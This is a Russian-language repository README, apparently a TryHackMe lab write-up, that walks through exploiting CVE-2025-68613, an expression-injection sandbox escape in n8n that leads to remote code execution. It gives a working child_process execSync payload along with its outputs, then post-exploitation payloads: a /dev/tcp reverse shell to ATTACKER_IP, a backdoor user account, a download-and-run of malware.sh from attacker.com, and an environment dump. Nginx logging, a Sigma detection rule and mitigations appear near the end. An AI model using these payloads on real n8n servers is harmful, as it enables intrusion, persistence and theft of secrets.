
В этом репозитории задокументирована практическая эксплуатация CVE-2025-68613 (CVSS 9.9) — критической уязвимости удалённого выполнения кода (RCE), затрагивающей платформу автоматизации рабочих процессов n8n (версии с 0.211.0 по 1.120.3).
Эксплуатация выполнена этично, в контролируемой лабораторной среде TryHackMe, исключительно в образовательных целях.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-68613 |
| Оценка CVSS | 9.9 (критическая) |
| Опубликовано | 19 декабря 2025 г. |
| Затронутый продукт | Платформа автоматизации рабочих процессов n8n |
| Тип уязвимости | Инъекция выражений → Побег из песочницы → RCE |
| Вектор атаки | Аутентифицированный пользователь (по умолчанию) |
| Исправленные версии | 1.120.4, 1.121.1, 1.122.0+ |
| Затронутые версии | 0.211.0 – 1.120.3 |
n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям визуально связывать приложения и сервисы для автоматизации задач. Она включает:
{{ }}, выполняются как JavaScriptУязвимость находится в системе вычисления выражений рабочих процессов n8n. Когда аутентифицированные пользователи настраивают рабочие процессы, их ввод обрабатывается как JavaScript-код без надлежащей изоляции в песочнице.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }}, выполняются как «сырой» JavaScript без должной изоляции контекстаthis позволяет обойти ограничения песочницыprocess.mainModule.require() предоставляет доступ к модульной системе Node.jschild_process для выполнения системных команд(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Пояснение:
this → глобальный объект Node.jsthis.process → объект процесса Node.jsprocess.mainModule → корневой модуль приложения n8n.require('child_process') → загрузка модуля выполнения системных команд.execSync('COMMAND') → синхронное выполнение shell-команды.toString() → преобразование вывода Buffer в читаемую строкуПолучите доступ к уязвимому экземпляру n8n и войдите в систему с действующими учётными данными.
Учётные данные лаборатории:
[email protected]Try12345!
После входа отображается интерфейс создания рабочего процесса. Нажмите «Start from scratch» («Начать с нуля»), чтобы создать новый рабочий процесс.

Нажмите «Add first step» («Добавить первый шаг») и найдите «Manual Trigger» («Ручной триггер»). Этот узел служит точкой входа для выполнения рабочего процесса.

Назначение: узел Manual Trigger позволяет запускать рабочий процесс вручную с помощью кнопки «Execute workflow» («Выполнить рабочий процесс») в интерфейсе, что делает его идеальным для тестирования.
Добавьте узел «Edit Fields» («Редактировать поля»), чтобы выполнить сопоставление полей. Именно здесь эксплуатируется уязвимость.

Шаги настройки:
Внедрите payload для выполнения команды id и получения информации о пользователе и привилегиях.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Результат:
uid=1000(node) gid=1000(node) groups=1000(node)

Полученная информация:
Измените payload для выполнения команды ls и вывода содержимого каталога.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Вывод показывает:
flag.txtПрочитайте файл с флагом с помощью команды cat, чтобы завершить эксплуатацию.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Полученный флаг:
THM{n8n_exposed_workflow}

Установите интерактивный доступ к shell для постоянного контроля:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Добавьте нового системного пользователя для постоянного доступа:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Загрузите и выполните удалённый код:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Проверьте привилегии sudo:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Извлеките переменные окружения:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
Настройте прокси для записи тел запросов в журнал с целью анализа:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
Обнаружение попыток эксплуатации через API-запросы рабочих процессов:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
Отслеживайте подозрительные дочерние процессы, порождаемые n8n:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync или spawnОбновите n8n до исправленных версий:
Ограничьте сетевой доступ
Надёжная аутентификация
Мониторинг и журналирование
Проверка и очистка входных данных
Реализация песочницы
Принцип минимальных привилегий
Анализ кода и тестирование безопасности
Данная документация предоставлена исключительно для образовательных целей и авторизованного тестирования безопасности. Описанные техники эксплуатации предназначены для:
Несанкционированный доступ к компьютерным системам противозаконен. Всегда получайте надлежащее письменное разрешение перед проведением тестирования безопасности.
.
├── README.md # This file
├── exploitation-details.md # Technical deep-dive guide
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
Этот отчёт документирует успешную эксплуатацию CVE-2025-68613 в лабораторной среде TryHackMe. Уязвимость демонстрирует критическую важность безопасного вычисления кода и опасности неадекватной реализации песочницы в платформах автоматизации.
Понимание этой уязвимости помогает как командам наступательной безопасности выявлять аналогичные проблемы, так и командам защиты разрабатывать более эффективные стратегии обнаружения.
| Шаг | Действие | Время |
|---|
| 1 | Доступ к экземпляру n8n | Секунды |
| 2 | Создание/изменение рабочего процесса | < 1 минуты |
| 3 | Добавление узла сопоставления полей | < 1 минуты |
| 4 | Внедрение и выполнение команды id | < 30 секунд |
| 5 | Перечисление файловой системы с помощью ls | < 1 минуты |
| 6 | Извлечение данных с помощью cat | < 30 секунд |
| Итого | Полная эксплуатация RCE | < 5 минут |